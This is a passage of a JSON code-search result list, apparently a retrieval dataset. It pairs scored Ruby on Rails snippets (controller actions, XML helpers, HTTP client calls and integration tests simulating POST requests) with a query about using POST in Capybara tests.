}, { "docid": "54748291efc0ecbbc050090a2600e1b8", "score": "0.6039239", "text": "def show\n @items = Item.find(params[:id])\n render json: @items\n end", "title": "" }, { "docid": "da9fda818f3a9bf90c17cbe37639ebd5", "score": "0.6013435", "text": "def show\n @item_alias = ItemAlias.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_alias }\n end\n end", "title": "" }, { "docid": "819d4fcd66a0b8541d60d715c88d78d2", "score": "0.60076755", "text": "def output_xml(items)\n puts \"<?xml version=\\\"1.0\\\"?><items>\"\n items.each do |item|\n puts \"<item uid=\\\"#{item[\"uid\"]}\\\" arg=\\\"#{item[\"arg\"]}\\\">\n <title>#{item[\"title\"]}</title>\n <icon>icon.png</icon>\n <subtitle>#{item[\"subtitle\"]}</subtitle>\n </item>\"\n end\n puts \"</items>\" \n end", "title": "" }, { "docid": "48826f0afdb621d392a0bcaebb8870aa", "score": "0.59996665", "text": "def show\n @instancia_item = InstanciaItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instancia_item }\n end\n end", "title": "" }, { "docid": "67f554854bf96ea6bc955cf0bc7ca29c", "score": "0.5996147", "text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end", "title": "" }, { "docid": "bae9fd916ef1229a74482d77a0fd82be", "score": "0.59941393", "text": "def show\n @news_item = NewsItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @news_item.to_xml }\n end\n end", "title": "" }, { "docid": "588c07ed847fc4a1e4b9ce00b7ab1a5e", "score": "0.5992188", "text": "def get(item)\n run(\"show #{ item }\")\n end", "title": "" }, { "docid": "899214825616658dfb345dab5557e96f", "score": "0.5980887", "text": "def show\n @shop_item = ShopItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shop_item }\n end\n end", "title": "" }, { "docid": "22ce728c71a8791aa213a8264992f469", "score": "0.5980137", "text": "def show\n @account = Account.find(params[:account_id])\n @account_item = @account.account_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account_item }\n end\n end", "title": "" }, { "docid": "3c27216e5aae5b797b424525857abb0c", "score": "0.59765226", "text": "def show\n @stream_item = StreamItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stream_item }\n end\n end", "title": "" }, { "docid": "1f79ba339b2897f659afedffbe5f5d3d", "score": "0.59761995", "text": "def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end", "title": "" }, { "docid": "a92ef093d0b2eef2a1515075f9dabe15", "score": "0.5973315", "text": "def show\n @news_item = NewsItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_item }\n end\n end", "title": "" }, { "docid": "a92ef093d0b2eef2a1515075f9dabe15", "score": "0.5973315", "text": "def show\n @news_item = NewsItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_item }\n end\n end", "title": "" }, { "docid": "339d4a59bd552cbebac7f4f729655f4f", "score": "0.5962681", "text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "title": "" }, { "docid": "339d4a59bd552cbebac7f4f729655f4f", "score": "0.5962681", "text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "title": "" }, { "docid": "339d4a59bd552cbebac7f4f729655f4f", "score": "0.5962681", "text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "title": "" }, { "docid": "339d4a59bd552cbebac7f4f729655f4f", "score": "0.5962681", "text": "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "title": "" }, { "docid": "3cfe0fe25d06601dfc24fa0a02fdb1bb", "score": "0.5961207", "text": "def index\n @news_items = NewsItem.find(:all, :order => 'updated_at desc')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @news_items.to_xml }\n end\n end", "title": "" }, { "docid": "63a79a139399eabbaeb982b73399df80", "score": "0.5951778", "text": "def index\n @apiv1_items = Item.all.order(:name)\n end", "title": "" }, { "docid": "28f277a6bbde859b52b6dd277b6b5410", "score": "0.59360486", "text": "def show\n @item = ItemTemplate.find(params[:id])\n @title = @item.name.titleize\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "dc68dbbd2733070b1028fe7742426420", "score": "0.5932361", "text": "def index\n @expense_items = ExpenseItem.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expense_items }\n end\n end", "title": "" }, { "docid": "2bad7ff7d2f52c8932168b29b91ce7cb", "score": "0.59245753", "text": "def get(pAuthToken, p_item_id, p_args)\r\n service_uri = \"#{@@m_service_url.path}#{@@m_service_get}#{p_item_id}.#{@@m_content_format}?authToken=#{pAuthToken}\"\r\n\r\n # verify user intention about related items, if :related_items flag is set\r\n # load all related items\r\n if p_args.nil? == false and p_args[:related_items] == true\r\n service_uri += \"&#{PARAM_LOAD_RELATED_ITEMS}=true\"\r\n\r\n # verify whether user has set any offset\r\n offset = p_args[:offset]\r\n unless offset.nil?\r\n service_uri += \"&offset=#{offset.to_s}\"\r\n end\r\n\r\n # verify whether user has set any maximum number of related items\r\n max = p_args[:max]\r\n unless max.nil?\r\n service_uri += \"&max=#{max}\"\r\n end\r\n\r\n # verify whether user has set the accepted relation types\r\n relation_types_array = p_args[:relation_types]\r\n unless relation_types_array.nil? and relation_types_array.empty?\r\n relation_types = \"\"\r\n relation_types_array.each do |relation_type|\r\n if relation_types.size > 0\r\n relation_types += \",\" + relation_type\r\n else\r\n relation_types += relation_type\r\n end\r\n end\r\n service_uri += \"&relation_types=#{relation_types}\"\r\n end\r\n end\r\n debug service_uri\r\n response = Net::HTTP.start(@@m_service_url.host,\r\n @@m_service_url.port) {|http|\r\n http.get(service_uri, {HEADER_COOKIE => @@m_cookies})\r\n }\r\n xml_content = response.body\r\n built_item = build_item(xml_content)\r\n debug(\"built item - #{built_item}\")\r\n return built_item\r\n end", "title": "" }, { "docid": "c50a9b6f24987c7649839d5992b39311", "score": "0.592405", "text": "def show\n @nav_item = NavItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nav_item }\n end\n end", "title": "" }, { "docid": "06936cc4dba305653955e8c5b9906e65", "score": "0.5919943", "text": "def show\n @asset_item = AssetItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset_item }\n end\n end", "title": "" }, { "docid": "08352af2529fe1649d41e44ae2b42084", "score": "0.5916206", "text": "def show\r\n @item_type = ItemType.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @item_type }\r\n end\r\n end", "title": "" }, { "docid": "4898e228668a06d40c31662e142d6bfb", "score": "0.5913215", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json\n end\n end", "title": "" }, { "docid": "dddd89e0240075c7cee53215d75d52cb", "score": "0.5912309", "text": "def show\n @mail_item = MailItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mail_item }\n end\n end", "title": "" }, { "docid": "b2fef4239eee6041e379ca3f37b1aad0", "score": "0.59068704", "text": "def show\n @item_photos = ItemPhoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_photos }\n end\n end", "title": "" }, { "docid": "5dc0fc05c4d694ab93d8154da98cb43a", "score": "0.5899329", "text": "def show\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "f79f0fa3d5d9b9155f2d467a93ae986d", "score": "0.5898835", "text": "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "f79f0fa3d5d9b9155f2d467a93ae986d", "score": "0.5898835", "text": "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "f79f0fa3d5d9b9155f2d467a93ae986d", "score": "0.5898835", "text": "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "f79f0fa3d5d9b9155f2d467a93ae986d", "score": "0.5898835", "text": "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "f79f0fa3d5d9b9155f2d467a93ae986d", "score": "0.5898835", "text": "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "f79f0fa3d5d9b9155f2d467a93ae986d", "score": "0.5898835", "text": "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "f79f0fa3d5d9b9155f2d467a93ae986d", "score": "0.5898835", "text": "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "f79f0fa3d5d9b9155f2d467a93ae986d", "score": "0.5898835", "text": "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "c0f1477d54152adb0378e2ca4c82f0e3", "score": "0.5895703", "text": "def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "ffb36908180b80ee27642822e5bf66cd", "score": "0.58872175", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" } ]
f621e263961d63e2ed95298d49b2707f
allows capybara tests to use post instead of get requests
[ { "docid": "cd18d57903b339ff4f204f3aa232667b", "score": "0.7444396", "text": "def visit_via_post(path)\n page.driver.post(path)\nend", "title": "" } ]
[ { "docid": "f091fe34d4e5723725464c4c833de409", "score": "0.67283446", "text": "def post\n request_method('POST')\n end", "title": "" }, { "docid": "a556fd335f6b5d42303d0d6af1913093", "score": "0.6718397", "text": "def test_post_hello\n post '/hello'\n assert_response(last_response, nil, nil, nil, 200)\n end", "title": "" }, { "docid": "c7c22085e0c8bb944e795cc7737bb79b", "score": "0.6446201", "text": "def post(path, attrs)\n return get_fake_response(:post, path)\n end", "title": "" }, { "docid": "a1237826dd4bd89a6fec3484f015d289", "score": "0.64424443", "text": "def test_post_hello_name\n post '/hello?name=david'\n assert_response(last_response, \"david\", nil, nil, 200)\n end", "title": "" }, { "docid": "ad696425ed8293a571a2b6384011a513", "score": "0.6394618", "text": "def http_method\n :post\n end", "title": "" }, { "docid": "ea8e92e8cff1e91706617baf6f8d27a7", "score": "0.63902384", "text": "def test_feature_1\n # tests a situation in which a user submits a post request and then requests\n # that same key on the get url\n\n my_key = \"key1\"\n my_value = \"value1\"\n get \"/set?#{my_key}=#{my_value}\"\n\n get_value(my_key)\n assert_equal last_response.body, \"#{my_value}\"\n end", "title": "" }, { "docid": "ae0cad149532c2a255f07bbc0a7bf969", "score": "0.6378971", "text": "def test_should_allow_post_if_logged_in\n login_as :trevor\n get :show, :id => 1\n assert_response :success\n assert_select \"span#reply\"\n end", "title": "" }, { "docid": "e56025d9cbc62c360f2cae79efcb5129", "score": "0.6376168", "text": "def test_game_post\r\n get '/'\r\n follow_redirect!\r\n post '/game', params={:action => 'shoot!'} # inputs parameters using \"post\"\r\n follow_redirect!\r\n assert last_response.ok? # Tests if a positive redirect response is received\r\n assert_equal \"http://example.org/game\", last_request.url\r\n assert last_response.body.include?('Quick on the') # checks to see if page switches after input\r\n end", "title": "" }, { "docid": "6a57942f5d50b91aaa35aeddc1d72711", "score": "0.63734543", "text": "def test_post_tickets_new\n success = 'You have successfully submitted a new ticket.'\n\n post '/tickets/new',\n {title: 'testing new ticket 5790238',\n description: 'testing post tickets route',\n type: 'Others', priority: 'Low', project_id: 3},\n dev_session\n\n assert_equal 302, last_response.status\n assert_equal success, session[:success]\n\n get last_response['Location']\n assert_equal 200, last_response.status\n\n assert_nil session[:success]\n assert_includes last_response.body, 'testing new ticket 5790238'\n end", "title": "" }, { "docid": "ec0cda8e4e6aab512085569e0737b8df", "score": "0.6360443", "text": "def test_postIntercepted\n\t\t\t# Register the request path of the post request to be intercepted\n\t\t\tsetInterceptXHR('localhost', 8001, '/services/postservice')\n\n\t\t\t# Put text into input box which will be added to post request\n\t\t\tinputBox = $driver.find_element(:id => 'output-box')\n\t\t\tinputBox.send_keys 'POST Example'\n\t\t\t\n\t\t\t# Trigger the post request\n\t\t\tpostButton = $driver.find_element(:id =>'postRequest')\n\t\t\tpostButton.click()\n\t\t\t\n\t\t\tsleep(1)\n\t\t\t\n\t\t\t# Retrieve all request intercepted that have the provided request path\n\t\t\tintercepted = JSON.parse(getInterceptedXHR('localhost', '8001', '/services/postservice'))\n\t\t\t\n\t\t\t# Validate the method and url of the intercepted request\n\t\t\treq1 = intercepted['xhr_1']\n\t\t\tassert_equal('POST',req1['xhr']['method'])\n\t\t\tassert_equal('/services/postservice', req1['xhr']['url'])\n\t\t\tassert_equal(req1['post'], req1['post'][/timestamp=\\d*&text=POST\\+Example/])\n\t\tend", "title": "" }, { "docid": "f42031f6ca3a68a6b9b731787858af76", "score": "0.6328251", "text": "def post?; method == :post; end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.63121504", "text": "def POST; end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.63121504", "text": "def POST; end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.63121504", "text": "def POST; end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.63121504", "text": "def POST; end", "title": "" }, { "docid": "a3183d5e68259a6ab6c1944ac01c7c01", "score": "0.627668", "text": "def test_post_numbers_multiple_values_redirect\n # post 'post_numbers', n: 'JCV', a: '41', num_1: '10', num_2: '20', num_3: '30' # num_1, etc correspond directly to name=\"num_1\" in input\n post '/post_numbers?un=JCV&ua=41', num_1: '10', num_2: '20', num_3: '30' # variation of former with browser address field value\n # un/ua trail: get_numbers.erb (action=\"post_numbers?un=<%= usn %>&ua=<%= usa %>\")\n # > app.rb (backend_name_5 = params[:un], backend_age_3 = params[:ua])\n follow_redirect! # need to include this line to trace the values through the routes - see notes in lines 26 - 29\n assert(last_response.ok?) # verify that the the subsequent get route is accessible, no values required to pass\n assert(last_response.body.include?('JCV')) # two ways to pass assertion - see notes in lines 31- 36\n assert(last_response.body.include?('41')) # two ways to pass assertion - see notes in lines 31- 36\n assert(last_response.body.include?('10')) # two ways to pass assertion - see notes in lines 31- 36\n assert(last_response.body.include?('20')) # two ways to pass assertion - see notes in lines 31- 36\n assert(last_response.body.include?('30')) # two ways to pass assertion - see notes in lines 31- 36\n end", "title": "" }, { "docid": "70c7502518d2c9a5892c8d8e5060caa0", "score": "0.6273507", "text": "def process_post\n must_authenticate\n results << send(\"post_#{action}\")\n end", "title": "" }, { "docid": "0b1bb65dab76af44dbcad0f128b1ee00", "score": "0.6251067", "text": "def test_post_check_completed_and_uncompleted_id\r\n post \"/check_completed/#{@task9.id}\", params = {pg_type: \"index\"}\r\n follow_redirect!\r\n refute last_response.body.include?(\"Should not show up 9262\")\r\n get \"/completed\"\r\n assert last_response.body.include?(\"Should not show up 9262\")\r\n post \"/uncheck_completed/#{@task9.id}\", params = {pg_type: \"index\"}\r\n get \"/completed\"\r\n refute last_response.body.include?(\"Should not show up 9262\")\r\n get \"/\"\r\n assert last_response.body.include?(\"Should not show up 9262\")\r\n # a user, who checks an item completed while on a cat page, remains there\r\n post \"/check_completed/#{@task9.id}\", params = {pg_type: \"category\",\r\n cat_page: \"foo\"}\r\n follow_redirect!\r\n refute last_response.body.include?(\"Should not show up 9262\")\r\n assert last_response.body.include?(\"<h1>Foo</h1>\")\r\n end", "title": "" }, { "docid": "d6b3fa486822228fd8801136505a9168", "score": "0.62370163", "text": "def test_post_creation\n get '/posts'\n assert_response :success\n get '/posts/new'\n assert_response :success\n post '/posts', :post => {:title => 'Scaffolding for fun and profit', :body => 'Scaffolding can be useful if...'}\n follow_redirect!\n assert_response :success\n assert_not_nil Post.find_by_title('Scaffolding for fun and profit')\n end", "title": "" }, { "docid": "4faffa87525cbb86c6e7e47c368f1de4", "score": "0.6219982", "text": "def http_delete path\n\tcurrent_driver = Capybara.current_driver\n\tCapybara.current_driver = :rack_test\n\tpage.driver.submit :delete, path, {}\n\tCapybara.current_driver = current_driver\nend", "title": "" }, { "docid": "e8e990cab8e1ca23bf5ae7551ea133f2", "score": "0.62172365", "text": "def fake_it(url, body)\n FakeWeb.register_uri(:post, url, body: body)\nend", "title": "" }, { "docid": "2e2afa42286017715240820462905c08", "score": "0.6212872", "text": "def switch_to_post(uri)\n switch_to uri, \"POST\"\n end", "title": "" }, { "docid": "61912f487fc887fa61a1c609906ee5bd", "score": "0.62082225", "text": "def post\n end", "title": "" }, { "docid": "61912f487fc887fa61a1c609906ee5bd", "score": "0.62082225", "text": "def post\n end", "title": "" }, { "docid": "2d12712232c46858b169f4e345b036e6", "score": "0.61888564", "text": "def test_post_tickets_new_from_project_details\n success = 'You have successfully submitted a new ticket.'\n\n post '/tickets/new/from-project',\n {title: 'testing new ticket 5790238',\n description: 'testing post tickets route',\n type: 'Others', priority: 'Low', project_id: 3},\n qa_session\n\n assert_equal 302, last_response.status\n assert_equal success, session[:success]\n\n get last_response['Location']\n assert_equal 200, last_response.status\n\n assert_nil session[:success]\n assert_includes last_response.body, 'testing new ticket 5790238'\n end", "title": "" }, { "docid": "fd5469d0152ed1d73b3cd59fb8b12a07", "score": "0.618519", "text": "def post *args\n make_request :post, *args\n end", "title": "" }, { "docid": "fedc53000c591fc35012c92cd7d4dd5e", "score": "0.6158341", "text": "def post\n status 404\n nil\n end", "title": "" }, { "docid": "862d4305b5053380eb85014f75533815", "score": "0.6143356", "text": "def test_can_create_post\n post '/', {:post => {:email => 'test@example.com'}}\n # assert_created\n end", "title": "" }, { "docid": "b956343864e46a99331b8b7d39117f3a", "score": "0.6128719", "text": "def post?; request_method == \"POST\" end", "title": "" }, { "docid": "85e9687d76d21468055c91fe53af2316", "score": "0.6116772", "text": "def post(path, params); perform(:post, path, params); end", "title": "" }, { "docid": "87eb9e5c4d4f2c697cee139b04888915", "score": "0.61124045", "text": "def test_post_delete_all\r\n get \"/deleted\"\r\n refute_match(/<tbody>\\s*<\\/tbody>/, last_response.body)\r\n post \"/delete_all\"\r\n follow_redirect!\r\n assert last_response.body.include?(\"Deleted all tasks!\")\r\n assert_match(/<tbody>\\s*<\\/tbody>/, last_response.body)\r\n end", "title": "" }, { "docid": "14bea0136ca7e8baa99ef313c4be2ff4", "score": "0.6087851", "text": "def test_post_big_edit_tester\r\n post \"/start_edit/#{@task0.id}\", params = {pg_type: \"index\"}\r\n follow_redirect!\r\n assert last_response.body.include?(\"<span class=\\\"editing\\\">Editing task!</span>\")\r\n assert last_response.body.include?(\"autofocus=\\\"autofocus\\\">Test task 123</textarea>\")\r\n assert last_response.body.include?(\"id=\\\"categories\\\">foo, bar\")\r\n assert last_response.body.include?(\"Submit Edit\")\r\n # now test /submit_edit\r\n post \"/submit_edit/#{@task0.id}\", params = {pg_type: \"index\", description: \"Goo goo\",\r\n categories: \"foo, bar, baz\", date_due: \"2018-02-20\", date_added: \"2017-01-01\"}\r\n follow_redirect!\r\n assert last_response.body.include?(\"Task saved!\")\r\n assert last_response.body.include?(\"<a href=\\\"/category/baz\\\">Baz</a>\")\r\n assert last_response.body.include?(\"2018-02-20\")\r\n assert last_response.body.include?(\"2017-01-01</td>\")\r\n # ensure correct error messages are sent after bad edit\r\n post \"/submit_edit/#{@task0.id}\", params = {pg_type: \"index\", description: \"\",\r\n categories: \"foo, bar, baz\", date_due: \"2018-02-20\"}\r\n follow_redirect!\r\n assert last_response.body.include?(\"Description cannot be blank.\")\r\n post \"/submit_edit/#{@task0.id}\", params = {pg_type: \"index\", description: \"Goo goo\",\r\n categories: \"foo, bar, baz\", date_due: \"asdf\"}\r\n follow_redirect!\r\n assert last_response.body.include?(\"Due date not saved. Please check the format.\")\r\n post \"/submit_edit/#{@task0.id}\", params = {pg_type: \"index\", description: \"Goo goo\",\r\n categories: \"{|*#}\", date_due: \"2018-02-20\"}\r\n follow_redirect!\r\n assert last_response.body.include?(\"Category '{|*#}' had weird characters.\")\r\n post \"/submit_edit/#{@task0.id}\", params = {pg_type: \"index\", description: \"Add complete suite of integration tasks, now that you can Add complete suite of integration tasks, now that you can Add complete suite of integration tasks, now that you can\",\r\n categories: \"foo, bar, baz\", date_due: \"2018-02-20\"}\r\n follow_redirect!\r\n assert last_response.body.include?(\"Description was 173 characters long; cannot exceed 140.\")\r\n end", "title": "" }, { "docid": "ad5dcd41d04020a30e6c90dcc814137a", "score": "0.6078704", "text": "def test_post_age_multiple_values_redirect\n # post '/post_age', user_n: 'john_v', user_a: '41' # user_a corresponds directly to name=\"user_a\" in input\n post '/post_age?user_n=john_v', user_a: '41' # variation of previous line - this is what is actually appearing in browser's address field\n # user_n/user_a trail: get_age.erb (action=\"post_age?user_n=<%= u_name %>\", name=\"user_a\")\n # > app.rb (backend_name_3 = params[:user_n], backend_age = params[:user_a])\n follow_redirect! # need to include this line to trace the values through the routes - see notes in lines 26 - 29\n assert(last_response.ok?) # verify that the the subsequent get route is accessible, no values required to pass\n assert(last_response.body.include?('john_v')) # two ways to pass assertion - see notes in lines 31- 36\n assert(last_response.body.include?('41')) # two ways to pass assertion - see notes in lines 31- 36\n end", "title": "" }, { "docid": "59ef6039844bb9cb955f7c497eaa002d", "score": "0.6059923", "text": "def test_post_undelete_id\r\n get \"/\"\r\n refute last_response.body.include?(\"undeleteme mama\")\r\n get \"/category/bar\"\r\n refute last_response.body.include?(\"undeleteme mama\")\r\n post \"/undelete/#{@task8.id}\", params = {pg_type: \"deleted\"}\r\n follow_redirect!\r\n refute last_response.body.include?(\"undeleteme mama\")\r\n assert last_response.body.include?(\"Undeleted task!\")\r\n get \"/completed\"\r\n assert last_response.body.include?(\"undeleteme mama\")\r\n end", "title": "" }, { "docid": "80599e41f7cab0d885ea38a7789f85fd", "score": "0.6055522", "text": "def test\n connection.post(\"#{path_prefix}/test\").body\n end", "title": "" }, { "docid": "80599e41f7cab0d885ea38a7789f85fd", "score": "0.6055522", "text": "def test\n connection.post(\"#{path_prefix}/test\").body\n end", "title": "" }, { "docid": "1d7406e4701f8623c16e942594215064", "score": "0.6046015", "text": "def post_create\n visit '/posts'\n on_page_with :post_list do |page|\n page.new_post_link.click\n end\n\n on_page_with :new_post do |page|\n page.perform :fill_post, 'my first post', 'I wanna be a full-stack dev'\n page.create_post_button.click\n end\n\n on_page_with :show_post do |page|\n expect(page.notice_message).to eq('Post was successfully created.')\n\n expect(page.post_title).to have_content('my first post')\n expect(page.post_content).to have_content('I wanna be a full-stack dev')\n\n page.back_link.click\n end\n\n on_page_with :post_list do |page|\n expect(page.posts_in_list.length).to eq(1)\n\n expect(page.posts_content.first.text).to have_content('my first post')\n # expect(page.posts_content.second.text).to have_content('I wanna be a full-stack dev')\n expect(page.posts_content[1].text).to have_content('I wanna be a full-stack dev')\n end\n\n on_page_with :top_ten do |page|\n expect(page.tips).to have_content('initialize component')\n expect(page.tips).to have_content('start loading...')\n\n expect(page.top_ten_posts).to have_content('my first post')\n end\n end", "title": "" }, { "docid": "91b13191b125ae6eb93450e0885e5b60", "score": "0.60435635", "text": "def test_it_reaches_orders_page\n visit '/orders'\n assert_equal 200, page.status_code\n end", "title": "" }, { "docid": "bd9fba4763752d23ce26ca26298fac94", "score": "0.60236555", "text": "def test_get\n http_method(false, \"GET\", false)\nend", "title": "" }, { "docid": "efc002074337c73f5c0c8dce12744571", "score": "0.6019879", "text": "def test_post_user\n json_data = '{\"id\" : 7, \"user\": {\"name\":\"juan\", \"last_name\":\"test\", \"document\" : \"123\"}}'\n post '/users', json_data\n assert_equal 201, last_response.status, 'Código de respuesta incorrecto'\n assert_equal '/users/7', last_response.headers['Location'], 'El valor del header Location es incorrecto'\n end", "title": "" }, { "docid": "a4e529393d22095b7f22bd607959959d", "score": "0.5981721", "text": "def mock_post_with(options={})\n Typhoeus::Request.stub!(:post).and_return(mock_response(options))\n end", "title": "" }, { "docid": "a87f896136ed4823c57400d10f21c692", "score": "0.59810805", "text": "def request_test?\n\tdefined?(post_via_redirect)\nend", "title": "" }, { "docid": "1ca5f2c21af5ddfbbcd53b4ca31817a0", "score": "0.59480405", "text": "def post(*args)\n request :post, *args\n end", "title": "" }, { "docid": "a4460b91e240e28857491da9529235e6", "score": "0.5928617", "text": "def test_logged_in_user_access_to_userland_approved\n # first log in\n get '/login' # need to do this to set up the form container.\n post '/login', { :username => GOOD_USERNAME, :password => GOOD_PASSWORD }\n\n # then specifically request the index page in userland\n get '/in/index'\n assert last_response.ok?\n assert last_response.body.include?('You are logged in as') \n assert last_response.body.include?(GOOD_USERNAME) \n end", "title": "" }, { "docid": "56a5103c5e4b056ca89ec672b78421c1", "score": "0.58839643", "text": "def post(path, &block) end", "title": "" }, { "docid": "56a5103c5e4b056ca89ec672b78421c1", "score": "0.58839643", "text": "def post(path, &block) end", "title": "" }, { "docid": "4ec91c4e9cfd0005097e262f626f5e18", "score": "0.58779174", "text": "def test_new\n post :new, :private => 1\n assert_response :success \n end", "title": "" }, { "docid": "5ecf2c9df9d24e4dc3aa688f9ba3334e", "score": "0.58731985", "text": "def post(path, opts = {}, &app); add_with_request_method(path, :post, opts, &app); end", "title": "" }, { "docid": "b7429a29773fd8100e0d88a248d5d0dc", "score": "0.58574086", "text": "def post?; end", "title": "" }, { "docid": "b7429a29773fd8100e0d88a248d5d0dc", "score": "0.58574086", "text": "def post?; end", "title": "" }, { "docid": "b7429a29773fd8100e0d88a248d5d0dc", "score": "0.58574086", "text": "def post?; end", "title": "" }, { "docid": "8079ac79e5967bb33fe12c8f156c90df", "score": "0.5852878", "text": "def test_post_delete_id\r\n get \"/\"\r\n assert last_response.body.include?(\"I am not a foo task\")\r\n get \"/category/bar\"\r\n assert last_response.body.include?(\"I am not a foo task\")\r\n post \"/delete/#{@task10.id}\", params = {pg_type: \"index\"}\r\n follow_redirect! # returns to /\r\n assert last_response.body.include?(\"Deleted task!\")\r\n refute last_response.body.include?(\"I am not a foo task\") #unique description gone\r\n get \"/category/bar\"\r\n refute last_response.body.include?(\"I am not a foo task\") #unique description gone\r\n end", "title": "" }, { "docid": "a6409316a2bdc6d4d472e6b10c34d868", "score": "0.5849046", "text": "def method\n return 'POST'\n end", "title": "" }, { "docid": "d150a70b29ba6a251519dff4d7479c13", "score": "0.5831786", "text": "def post(path, **args); end", "title": "" }, { "docid": "c2c44c7cb3447cbb693bf76d1784db26", "score": "0.583166", "text": "def test_forgot_username_bad_email \r\n dave = users(:dave)\r\n get 'welcome/index'\r\n assert_response :success\r\n get 'welcome/login'\r\n get 'welcome/forgot_username'\r\n assert_response :success\r\n 